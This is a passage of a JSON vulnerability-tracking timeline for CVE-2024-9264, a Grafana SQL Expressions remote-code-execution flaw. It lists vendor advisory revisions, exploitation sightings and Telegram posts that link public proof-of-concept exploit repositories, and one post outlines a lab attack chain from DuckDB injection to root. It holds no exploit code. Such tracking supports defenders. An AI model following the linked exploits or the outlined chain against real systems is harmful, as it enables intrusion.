"2025-06-18T02:07:51Z", "kind": "other", "label": "Document generated", "source": "csaf_suse \u00b7 SUSE-SU-2025:01985-1", "record": "SUSE-SU-2025:01985-1", "field": "document.tracking.generator.date", "linked_record": true}, {"timestamp": "2025-06-18T02:07:51Z", "date_only": false, "value": "2025-06-18T02:07:51Z", "kind": "other", "label": "Impact", "source": "csaf_suse \u00b7 SUSE-SU-2025:01985-1", "record": "SUSE-SU-2025:01985-1", "field": "vulnerabilities.0.threats.0.date", "linked_record": true}, {"timestamp": "2025-06-18T02:07:51Z", "date_only": false, "value": "2025-06-18T02:07:51Z", "kind": "milestone", "label": "Published", "source": "csaf_suse \u00b7 SUSE-SU-2025:01985-1", "record": "SUSE-SU-2025:01985-1", "field": "document.tracking.initial_release_date", "metric_role": "disclosure", "metric_basis": "recorded_event", "linked_record": true}, {"timestamp": "2025-06-18T02:09:10Z", "date_only": false, "value": "2025-06-18T02:09:10Z", "kind": "other", "label": "Advisory revision", "source": "csaf_suse \u00b7 SUSE-SU-2025:01987-1", "record": "SUSE-SU-2025:01987-1", "field": "document.tracking.revision_history.0.date", "linked_record": true}, {"timestamp": "2025-06-18T02:09:10Z", "date_only": false, "value": "2025-06-18T02:09:10Z", "kind": "other", "label": "Document generated", "source": "csaf_suse \u00b7 SUSE-SU-2025:01987-1", "record": "SUSE-SU-2025:01987-1", "field": "document.tracking.generator.date", "linked_record": true}, {"timestamp": "2025-06-18T02:09:10Z", "date_only": false, "value": "2025-06-18T02:09:10Z", "kind": "other", "label": "Impact", "source": "csaf_suse \u00b7 SUSE-SU-2025:01987-1", "record": "SUSE-SU-2025:01987-1", "field": "vulnerabilities.0.threats.0.date", "linked_record": true}, {"timestamp": "2025-06-18T02:09:10Z", "date_only": false, "value": "2025-06-18T02:09:10Z", "kind": "milestone", "label": "Published", "source": "csaf_suse \u00b7 SUSE-SU-2025:01987-1", "record": "SUSE-SU-2025:01987-1", "field": "document.tracking.initial_release_date", "metric_role": "disclosure", "metric_basis": "recorded_event", "linked_record": true}, {"timestamp": "2025-06-18T02:11:23Z", "date_only": false, "value": "2025-06-18T02:11:23Z", "kind": "other", "label": "Advisory revision", "source": "csaf_suse \u00b7 SUSE-SU-2025:01989-1", "record": "SUSE-SU-2025:01989-1", "field": "document.tracking.revision_history.0.date", "linked_record": true}, {"timestamp": "2025-06-18T02:11:23Z", "date_only": false, "value": "2025-06-18T02:11:23Z", "kind": "other", "label": "Document generated", "source": "csaf_suse \u00b7 SUSE-SU-2025:01989-1", "record": "SUSE-SU-2025:01989-1", "field": "document.tracking.generator.date", "linked_record": true}, {"timestamp": "2025-06-18T02:11:23Z", "date_only": false, "value": "2025-06-18T02:11:23Z", "kind": "other", "label": "Impact", "source": "csaf_suse \u00b7 SUSE-SU-2025:01989-1", "record": "SUSE-SU-2025:01989-1", "field": "vulnerabilities.0.threats.0.date", "linked_record": true}, {"timestamp": "2025-06-18T02:11:23Z", "date_only": false, "value": "2025-06-18T02:11:23Z", "kind": "milestone", "label": "Published", "source": "csaf_suse \u00b7 SUSE-SU-2025:01989-1", "record": "SUSE-SU-2025:01989-1", "field": "document.tracking.initial_release_date", "metric_role": "disclosure", "metric_basis": "recorded_event", "linked_record": true}, {"timestamp": "2025-06-18T02:12:17Z", "date_only": false, "value": "2025-06-18T02:12:17Z", "kind": "other", "label": "Advisory revision", "source": "csaf_suse \u00b7 SUSE-SU-2025:01991-1", "record": "SUSE-SU-2025:01991-1", "field": "document.tracking.revision_history.0.date", "linked_record": true}, {"timestamp": "2025-06-18T02:12:17Z", "date_only": false, "value": "2025-06-18T02:12:17Z", "kind": "other", "label": "Document generated", "source": "csaf_suse \u00b7 SUSE-SU-2025:01991-1", "record": "SUSE-SU-2025:01991-1", "field": "document.tracking.generator.date", "linked_record": true}, {"timestamp": "2025-06-18T02:12:17Z", "date_only": false, "value": "2025-06-18T02:12:17Z", "kind": "other", "label": "Impact", "source": "csaf_suse \u00b7 SUSE-SU-2025:01991-1", "record": "SUSE-SU-2025:01991-1", "field": "vulnerabilities.0.threats.0.date", "linked_record": true}, {"timestamp": "2025-06-18T02:12:17Z", "date_only": false, "value": "2025-06-18T02:12:17Z", "kind": "milestone", "label": "Published", "source": "csaf_suse \u00b7 SUSE-SU-2025:01991-1", "record": "SUSE-SU-2025:01991-1", "field": "document.tracking.initial_release_date", "metric_role": "disclosure", "metric_basis": "recorded_event", "linked_record": true}, {"timestamp": "2025-07-05T23:53:19Z", "date_only": false, "value": "2025-07-05T23:53:19.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/43130", "record": "CVE-2024-9264", "field": "creation_timestamp", "uuid": "1f27fe08-3fbf-4813-b431-d3df861cfc9a", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aRCE\n\u63cf\u8ff0\uff1aGrafana RCE\nURL\uff1ahttps://github.com/ruizii/CVE-2024-9264\n\n\u6807\u7b7e\uff1a#RCE", "url": "https://t.me/GithubRedTeam/43130", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2025-07-06T03:00:04Z", "date_only": false, "value": "2025-07-06T03:00:04.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/rldrVU4EbTTnPd8U3W40-F0FQeroqHkK7JRuQCr9iPTQCg8", "record": "CVE-2024-9264", "field": "creation_timestamp", "uuid": "edb43467-cfb4-4267-8591-f480b51db132", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2025-07-07T16:03:39Z", "date_only": false, "value": "2025-07-07T16:03:39.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/43298", "record": "CVE-2024-9264", "field": "creation_timestamp", "uuid": "287a6492-8d05-4ca6-aac1-a1dbf48b8eae", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aRCE\n\u63cf\u8ff0\uff1aAuthenticated RCE in Grafana (v11.0) via SQL Expressions - PoC Exploit\nURL\uff1ahttps://github.com/rvizx/CVE-2024-9264\n\n\u6807\u7b7e\uff1a#RCE", "url": "https://t.me/GithubRedTeam/43298", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2025-07-07T21:00:04Z", "date_only": false, "value": "2025-07-07T21:00:04.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/17sx7vfyYyw5cNVTNyrGtWFmcDoHLeuKbaDi91L36vhy8Ec", "record": "CVE-2024-9264", "field": "creation_timestamp", "uuid": "2f8d8791-4c56-4784-8620-5807feca133a", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2025-07-21T15:00:06Z", "date_only": false, "value": "2025-07-21T15:00:06.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/OfnIDPmAFs0rAOlHw_eXR0j7Vkoel5eBSFNWkjtXQVWONMM", "record": "CVE-2024-9264", "field": "creation_timestamp", "uuid": "ce17d42b-70b3-4676-8ef3-61c9667e38d8", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2025-08-26T08:42:41Z", "date_only": false, "value": "2025-08-26T08:42:41Z", "kind": "other", "label": "Updated", "source": "cleanstart \u00b7 CLEANSTART-2025-OD67243", "record": "CLEANSTART-2025-OD67243", "field": "modified", "linked_record": true}, {"timestamp": "2025-09-16T09:58:12Z", "date_only": false, "value": "2025-09-16T09:58:12.000000Z", "kind": "sighting", "label": "Seen", "source": "https://gist.github.com/Darkcrai86/7b42898149ad19a2dd937e6d5315cc08", "record": "CVE-2024-9264", "field": "creation_timestamp", "uuid": "68714e88-7b74-4c1a-adce-115d850c6c2c", "url": "https://gist.github.com/Darkcrai86/7b42898149ad19a2dd937e6d5315cc08"}, {"timestamp": "2025-10-24T05:06:47Z", "date_only": false, "value": "2025-10-24T05:06:47Z", "kind": "other", "label": "Updated", "source": "osv_ubuntu \u00b7 UBUNTU-CVE-2024-9264", "record": "UBUNTU-CVE-2024-9264", "field": "modified", "linked_record": true}, {"timestamp": "2025-10-30T09:05:29.394Z", "date_only": false, "value": "2025-10-30T09:05:29.394445Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/Ubuntu.activitypub.awakari.com.ap.brid.gy/post/3m4fm4zrubr62", "record": "cve-2024-9264", "field": "creation_timestamp", "uuid": "e33e334d-12a1-4305-a7a3-42a7f55d2f6d", "url": "https://bsky.app/profile/Ubuntu.activitypub.awakari.com.ap.brid.gy/post/3m4fm4zrubr62"}, {"timestamp": "2026-04-29T16:12:10Z", "date_only": false, "value": "2026-04-29T16:12:10Z", "kind": "other", "label": "Advisory revision", "source": "csaf_opensuse \u00b7 OPENSUSE-SU-2026:20654-1", "record": "OPENSUSE-SU-2026:20654-1", "field": "document.tracking.revision_history.0.date", "linked_record": true}, {"timestamp": "2026-04-29T16:12:10Z", "date_only": false, "value": "2026-04-29T16:12:10Z", "kind": "other", "label": "Document generated", "source": "csaf_opensuse \u00b7 OPENSUSE-SU-2026:20654-1", "record": "OPENSUSE-SU-2026:20654-1", "field": "document.tracking.generator.date", "linked_record": true}, {"timestamp": "2026-04-29T16:12:10Z", "date_only": false, "value": "2026-04-29T16:12:10Z", "kind": "other", "label": "Impact", "source": "csaf_opensuse \u00b7 OPENSUSE-SU-2026:20654-1", "record": "OPENSUSE-SU-2026:20654-1", "field": "vulnerabilities.0.threats.0.date", "linked_record": true}, {"timestamp": "2026-04-29T16:12:10Z", "date_only": false, "value": "2026-04-29T16:12:10Z", "kind": "milestone", "label": "Published", "source": "csaf_opensuse \u00b7 OPENSUSE-SU-2026:20654-1", "record": "OPENSUSE-SU-2026:20654-1", "field": "document.tracking.initial_release_date", "metric_role": "disclosure", "metric_basis": "recorded_event", "linked_record": true}, {"timestamp": "2026-05-03T22:00:00Z", "date_only": false, "value": "2026-05-03T22:00:00.000+00:00", "kind": "other", "label": "Advisory revision", "source": "csaf_certbund \u00b7 WID-SEC-W-2024-3238", "record": "WID-SEC-W-2024-3238", "field": "document.tracking.revision_history.3.date", "linked_record": true}, {"timestamp": "2026-05-03T22:00:00Z", "date_only": false, "value": "2026-05-03T22:00:00.000+00:00", "kind": "other", "label": "Updated", "source": "csaf_certbund \u00b7 WID-SEC-W-2024-3238", "record": "WID-SEC-W-2024-3238", "field": "document.tracking.current_release_date", "linked_record": true}, {"timestamp": "2026-05-04T09:34:08.613Z", "date_only": false, "value": "2026-05-04T09:34:08.613+00:00", "kind": "other", "label": "Document generated", "source": "csaf_certbund \u00b7 WID-SEC-W-2024-3238", "record": "WID-SEC-W-2024-3238", "field": "document.tracking.generator.date", "linked_record": true}, {"timestamp": "2026-06-19T12:46:16.007Z", "date_only": false, "value": "2026-06-19T12:46:16.007474Z", "kind": "sighting", "label": "Exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/a6835498-ad9b-4957-98b4-42eb98d3a24b", "record": "CVE-2024-9264", "field": "creation_timestamp", "uuid": "01914239-ef6e-41e7-84e6-f8a540a5cf35", "url": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/a6835498-ad9b-4957-98b4-42eb98d3a24b", "metric_role": "exploitation", "metric_basis": "sighting_report"}, {"timestamp": "2026-06-27T15:07:07.246Z", "date_only": false, "value": "2026-06-27T15:07:07.246213Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mpbqe3trrs2y", "record": "CVE-2024-9264", "field": "creation_timestamp", "uuid": "cf0bec02-af07-410f-af2c-51809a028308", "content": "\ud83d\udccc CVE-2024-9264 - The SQL Expressions experimental feature of Grafana allows for the evaluation of `duckdb` queries containing user input. These queries are insufficien... https://www.cyberhub.blog/cves/CVE-2024-9264", "url": "https://bsky.app/profile/cyberhub.blog/post/3mpbqe3trrs2y"}, {"timestamp": "2026-06-30T10:51:46.501Z", "date_only": false, "value": "2026-06-30T10:51:46.501956Z", "kind": "sighting", "label": "Seen", "source": "https://infosec.exchange/users/certvde/statuses/116838675578498232", "record": "CVE-2024-9264", "field": "creation_timestamp", "uuid": "a3c9a38d-332b-462f-9aa2-de7c2437c359", "content": "#OT #Advisory VDE-2026-049Balluff GmbH: Multiple Vulnerabilities Affecting BNI EGW-720-007-K095 and BAV MA-NC-00025-01\nSecurity advisory for Balluff BNI EGW-720-007-K095 and BAV MA-NC-00025-01 firmware versions prior to 2.4.1. This advisory covers multiple vulnerabilities affecting software components used by the device firmware.#CVE CVE-2025-68121, CVE-2026-1229, CVE-2025-41115, CVE-2025-15467, CVE-2023-3128, CVE-2022-28660, CVE-2022-26148, CVE-2018-15727, CVE-2020-27846, CVE-2024-9264, CVE-2024-1442, CVE-2022-28391, CVE-2022-24812, CVE-2022-23498, CVE-2022-21703, CVE-2022-31097, CVE-2025-61732, CVE-2025-4674, CVE-2022-29170, CVE-2024-56406\nhttps://certvde.com/en/advisories/vde-2026-049/\n#CSAF https://balluff.csaf-tp.certvde.com/.well-known/csaf/white/2026/vde-2026-049.json", "url": "https://infosec.exchange/users/certvde/statuses/116838675578498232"}, {"timestamp": "2026-07-22T22:00:03.474Z", "date_only": false, "value": "2026-07-22T22:00:03.474238Z", "kind": "sighting", "label": "Seen", "source": "Telegram/oTCcthwftzUyvaLQLtY7FvG4NjMlnlzCmFsPRxIzpTLAzWg", "record": "CVE-2024-9264", "field": "creation_timestamp", "uuid": "a141a87a-5f7c-43aa-b683-6517cf67745d"}, {"timestamp": "2026-07-23T00:00:05.120Z", "date_only": false, "value": "2026-07-23T00:00:05.120972Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/oTCcthwftzUyvaLQLtY7FvG4NjMlnlzCmFsPRxIzpTLAzWg", "record": "CVE-2024-9264", "field": "creation_timestamp", "uuid": "80cfff85-c4c0-49ff-8d43-c007b037227e", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2026-07-23T04:00:05.139Z", "date_only": false, "value": "2026-07-23T04:00:05.139489Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/GithubRedTeam/94686", "record": "CVE-2024-9264", "field": "creation_timestamp", "uuid": "2997b982-a470-4566-99f0-527b12fe7b23", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #RCE #CVE #POC\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2024-9264\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a ozcanpng\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-22 16:28:35\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCVE-2024-9264 Grafana SQL Expressions DuckDB LFI/RCE PoC\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "url": "https://t.me/GithubRedTeam/94686"}, {"timestamp": "2026-07-24T00:00:21.500Z", "date_only": false, "value": "2026-07-24T00:00:21.500307Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/94686", "record": "CVE-2024-9264", "field": "creation_timestamp", "uuid": "b1dbf8b0-bf9c-46ae-baad-cfc27855f00e", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #RCE #CVE #POC\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2024-9264\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a ozcanpng\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-22 16:28:35\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCVE-2024-9264 Grafana SQL Expressions DuckDB LFI/RCE PoC\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "url": "https://t.me/GithubRedTeam/94686", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2026-07-26T02:00:17.391Z", "date_only": false, "value": "2026-07-26T02:00:17.391052Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/cyberwarehouse/579", "record": "CVE-2024-9264", "field": "creation_timestamp", "uuid": "6b6292a2-df6f-47de-8cbb-95444ecef7b2", "content": "https://github.com/nollium/CVE-2024-9264", "url": "https://t.me/cyberwarehouse/579"}, {"timestamp": "2026-07-27T00:00:25.821Z", "date_only": false, "value": "2026-07-27T00:00:25.821523Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/cyberwarehouse/579", "record": "CVE-2024-9264", "field": "creation_timestamp", "uuid": "f48e1690-4639-40cd-adec-034e55ec49c6", "content": "https://github.com/nollium/CVE-2024-9264", "url": "https://t.me/cyberwarehouse/579", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2026-08-04T13:00:26.198Z", "date_only": false, "value": "2026-08-04T13:00:26.198819Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/bagl3y_notes/138", "record": "CVE-2024-9264", "field": "creation_timestamp", "uuid": "9a251e7e-8b06-4aea-9783-db600c736dd6", "content": "\ud83c\udd95 \u041d\u043e\u0432\u044b\u0439 \u0432\u0438\u0434\u0435\u043e-\u0440\u0430\u0437\u0431\u043e\u0440 \u0442\u0430\u0447\u043a\u0438 HTB (HackTheBox) \u043e\u0442 ippsec'a\n\n\u2049\ufe0f \u041f\u0435\u0440\u0435\u0434 \u043d\u0430\u043c\u0438 Grafana c CVE-2024-9264 (SQLi \u0432 duckdb), \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u0442 \u043a RCE \u0432\u043d\u0443\u0442\u0440\u0438 \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u0430 \u27a1\ufe0f \u0432 env \u043d\u0430\u0445\u043e\u0434\u0438\u043c \u043a\u0440\u0435\u0434\u044b, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c \u0434\u043b\u044f \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u044f \u043a \u0445\u043e\u0441\u0442\u0443 \u043f\u043e SSH \u27a1\ufe0f \u043d\u0430\u0445\u043e\u0434\u0438\u043c crontab.db \u0441 \u043e\u043f\u0438\u0441\u0430\u043d\u0438\u0435\u043c \"\u0437\u0430\u0434\u0430\u0447\" \u0438 Crontab UI, \u0437\u0430\u043f\u0443\u0449\u0435\u043d\u043d\u044b\u0439 \u043d\u0430 localhost \u27a1\ufe0f \u043f\u043e\u0441\u043b\u0435 \u043b\u043e\u0433\u0438\u043d\u0430 \u0432 Crontab UI - \u0441\u043e\u0437\u0434\u0430\u0451\u043c \u0437\u0430\u0434\u0430\u0447\u0443, \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u043c root\n\n#\ufe0f\u20e3 \u0421\u0435\u0433\u043e\u0434\u043d\u044f \u044d\u0442\u043e Linux box - Planning, \u0443\u0440\u043e\u0432\u0435\u043d\u044c \u0441\u043b\u043e\u0436\u043d\u043e\u0441\u0442\u0438 Easy    \n#\ufe0f\u20e3 \u0410 \u0432\u043e\u0442 \u0435\u0449\u0435 \u0440\u0430\u0437\u0431\u043e\u0440 \u043e\u0442 \u043a\u0440\u0443\u0442\u043e\u0433\u043e \u0447\u0435\u043b\u0430 - 0xdf\n\n\n\u2754 \u041e\u0441\u043d\u043e\u0432\u043d\u044b\u0435 \u043f\u043e\u0441\u0442\u044b \u043a\u0430\u043d\u0430\u043b\u0430\n\n#video #HTB #ippsec #0xdf #Walkthroughs", "url": "https://t.me/bagl3y_notes/138"}, {"timestamp": "2026-08-06T00:00:39.465Z", "date_only": false, "value": "2026-08-06T00:00:39.465103Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/bagl3y_notes/138", "record": "CVE-2024-9264", "field": "creation_timestamp", "uuid": "ca42ba30-660a-4a7a-aa40-ee8fbb4371ce", "content": "\ud83c\udd95 \u041d\u043e\u0432\u044b\u0439 \u0432\u0438\u0434\u0435\u043e-\u0440\u0430\u0437\u0431\u043e\u0440 \u0442\u0430\u0447\u043a\u0438 HTB (HackTheBox) \u043e\u0442 ippsec'a\n\n\u2049\ufe0f \u041f\u0435\u0440\u0435\u0434 \u043d\u0430\u043c\u0438 Grafana c CVE-2024-9264 (SQLi \u0432 duckdb), \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u0442 \u043a RCE \u0432\u043d\u0443\u0442\u0440\u0438 \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u0430 \u27a1\ufe0f \u0432 env \u043d\u0430\u0445\u043e\u0434\u0438\u043c \u043a\u0440\u0435\u0434\u044b, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c \u0434\u043b\u044f \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u044f \u043a \u0445\u043e\u0441\u0442\u0443 \u043f\u043e SSH \u27a1\ufe0f \u043d\u0430\u0445\u043e\u0434\u0438\u043c crontab.db \u0441 \u043e\u043f\u0438\u0441\u0430\u043d\u0438\u0435\u043c \"\u0437\u0430\u0434\u0430\u0447\" \u0438 Crontab UI, \u0437\u0430\u043f\u0443\u0449\u0435\u043d\u043d\u044b\u0439 \u043d\u0430 localhost \u27a1\ufe0f \u043f\u043e\u0441\u043b\u0435 \u043b\u043e\u0433\u0438\u043d\u0430 \u0432 Crontab UI - \u0441\u043e\u0437\u0434\u0430\u0451\u043c \u0437\u0430\u0434\u0430\u0447\u0443, \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u043c root\n\n#\ufe0f\u20e3 \u0421\u0435\u0433\u043e\u0434\u043d\u044f \u044d\u0442\u043e Linux box - Planning, \u0443\u0440\u043e\u0432\u0435\u043d\u044c \u0441\u043b\u043e\u0436\u043d\u043e\u0441\u0442\u0438 Easy    \n#\ufe0f\u20e3 \u0410 \u0432\u043e\u0442 \u0435\u0449\u0435 \u0440\u0430\u0437\u0431\u043e\u0440 \u043e\u0442 \u043a\u0440\u0443\u0442\u043e\u0433\u043e \u0447\u0435\u043b\u0430 - 0xdf\n\n\n\u2754 \u041e\u0441\u043d\u043e\u0432\u043d\u044b\u0435 \u043f\u043e\u0441\u0442\u044b \u043a\u0430\u043d\u0430\u043b\u0430\n\n#video #HTB #ippsec #0xdf #Walkthroughs", "url": "https://t.me/bagl3y_notes/138", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2026-08-24T21:00:04.416Z", "date_only": false, "value": "2026-08-24T21:00:04.416547Z", "kind": "sighting", "label": "Seen", "source": "Telegram/SUyvNys0dzEwjXv_rLl9vzt4eS_nd4PMMSmFi1zAltVWOpQ", "record": "CVE-2024-9264", "field": "creation_timestamp", "uuid": "6f076d72-6bc3-4252-8c0f-a565bf9784e4"}, {"timestamp": "2026-08-25T00:00:09.601Z", "date_only": false, "value": "2026-08-25T00:00:09.601882Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/SUyvNys0dzEwjXv_rLl9vzt4eS_nd4PMMSmFi1zAltVWOpQ", "record": "CVE-2024-9264", "field": "creation_timestamp", "uuid": "c1b24c6d-b69e-433f-8b58-f9b68e0e9847", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2026-09-08T08:34:36.952Z", "date_only": false, "value": "2026-09-08T08:34:36.952Z", "kind": "other", "label": "Updated", "source": "bitnami_vulndb \u00b7 BIT-GRAFANA-2024-9264", "record": "BIT-GRAFANA-2024-9264", "field": "modified", "linked_record": true}, {"timestamp": "2026-09-20T17:25:10Z", "date_only": false, "value": "2026-09-20T17:25:10Z", "kind": "other", "label": "Advisory revision", "source": "csaf_suse \u00b7 SUSE-SU-2025:01985-1", "record": "SUSE-SU-2025:01985-1", "field": "document.tracking.revision_history.1.date", "linked_record": true}, {"timestamp": "2026-09-20T17:25:10Z", "date_only": false, "value": "2026-09-20T17:25:10Z", "kind": "other", "label": "Updated", "source": "csaf_suse \u00b7 SUSE-SU-2025:01985-1", "record": "SUSE-SU-2025:01985-1", "field": "document.tracking.current_release_date", "linked_record": true}, {"timestamp": "2026-09-20T21:19:51Z", "date_only": false, "value": "2026-09-20T21:19:51Z", "kind": "other", "label": "Advisory revision", "source": "csaf_opensuse \u00b7 OPENSUSE-SU-2024:14431-1", "record": "OPENSUSE-SU-2024:14431-1", "field": "document.tracking.revision_history.1.date", "linked_record": true}, {"timestamp": "2026-09-20T21:19:51Z", "date_only": false, "value": "2026-09-20T21:19:51Z", "kind": "other", "label": "Updated", "source": "csaf_opensuse \u00b7 OPENSUSE-SU-2024:14431-1", "record": "OPENSUSE-SU-2024:14431-1", "field": "document.tracking.current_release_date", "linked_record": true}, {"timestamp": "2026-09-20T21:20:06Z", "date_only": false, "value": "2026-09-20T21:20:06Z", "kind": "other", "label": "Advisory revision", "source": "csaf_opensuse \u00b7 OPENSUSE-SU-2024:14447-1", "record": "OPENSUSE-SU-2024:14447-1", "field": "document.tracking.revision_history.1.date", "linked_record": true}, {"timestamp": "2026-09-20T21:20:06Z", "date_only": false, "value": "2026-09-20T21:20:06Z", "kind": "other", "label": "Updated", "source": "csaf_opensuse \u00b7 OPENSUSE-SU-2024:14447-1", "record": "OPENSUSE-SU-2024:14447-1", "field": "document.tracking.current_release_date", "linked_record": true}, {"timestamp": "2026-10-13T07:00:16Z", "date_only": false, "value": "2026-10-13T07:00:16.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/thlKVwhca6coX5QK1LRmf8UzA5N4LvPy7SmT7EiJi0X1QcE", "record": "CVE-2024-9264", "field": "creation_timestamp", "uuid": "41e9ff81-d725-4fbc-a66e-e62287c7887a", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2026-10-13T07:00:16Z", "date_only": false, "value": "2026-10-13T07:00:16.000000Z", "kind": "sighting", "label": "Seen", "source": "Telegram/thlKVwhca6coX5QK1LRmf8UzA5N4LvPy7SmT7EiJi0X1QcE", "record": "CVE-2024-9264", "field": "creation_timestamp", "uuid": "275cbb4e-7ec1-4895-b21b-a73142a9c0a4"}, {"timestamp": "2026-10-31T13:54:57.224Z", "date_only": false, "value": "2026-10-31T13:54:57.224768Z", "kind": "milestone", "label": "Published", "source": "cleanstart \u00b7 CLEANSTART-2025-OD67243", "record": "CLEANSTART-2025-OD67243", "field": "published", "metric_role": "disclosure", "metric_basis": "recorded_event", "linked_record": true}, {"timestamp": "2026-11-01T10:33:12Z", "date_only": false, "value": "2026-11-01T10:33:12Z", "kind": "other", "label": "Advisory revision", "source": "csaf_suse \u00b7 SUSE-SU-2025:01987-1", "record": "SUSE-SU-2025:01987-1", "field": "document.tracking.revision_history.1.date", "linked_record": true}, {"timestamp": "2026-11-01T10:33:12Z", "date_only": false, "value": "2026-11-01T10:33:12Z", "kind": "other", "label": "Updated", "source": "csaf_suse \u00b7 SUSE-SU-2025:01987-1", "record": "SUSE-SU-2025:01987-1", "field": "document.tracking.current_release_date", "linked_record": true}, {"timestamp": "2026-11-01T10:33:13Z", "date_only": false, "value": "2026-11-01T10:33:13Z", "kind": "other", "label": "Advisory revision", "source": "csaf_suse \u00b7 SUSE-SU-2025:01989-1", "record": "SUSE-SU-2025:01989-1", "field": "document.tracking.revision_history.1.date", "linked_record": true}, {"timestamp": "2026-11-01T10:33:13Z", "date_only": false, "value": "2026-11-01T10:33:13Z", "kind": "other", "label": "Updated", "source": "csaf_suse \u00b7 SUSE-SU-2025:01989-1", "record": "SUSE-SU-2025:01989-1", "field": "document.tracking.current_release_date", "linked_record": true}, {"timestamp": "2026-11-01T10:33:15Z", "date_only": false, "value": "2026-11-01T10:33:15Z", "kind": "other", "label": "Advisory revision", "source": "csaf_suse \u00b7 SUSE-SU-2025:01991-1", "record": "SUSE-SU-2025:01991-1", "field": "document.tracking.revision_history.1.date", "linked_record": true}, {"timestamp": "2026-11-01T10:33:15Z", "date_only": false, "value": "2026-11-01T10:33:15Z", "kind": "other", "label": "Updated", "source": "csaf_suse \u00b7 SUSE-SU-2025:01991-1", "record": "SUSE-SU-2025:01991-1", "field": "document.tracking.current_release_date", "linked_record": true}, {"timestamp": "2026-11-03T21:53:56Z", "date_only": false, "value": "2026-11-03T21:53:56Z", "kind": "other", "label": "Advisory revision", "source": "csaf_opensuse \u00b7 OPENSUSE-SU-2026:20654-1", "record": "OPENSUSE-SU-2026:20654-1", "field": "document.tracking.revision_history.1.date", "linked_record": true}, {"timestamp": "2026-11-03T21:53:56Z", "date_only": false, "value": "2026-11-03T21:53:56Z", "kind": "other", "label": "Updated", "source": "csaf_opensuse \u00b7 OPENSUSE-SU-2026:20654-1", "record": 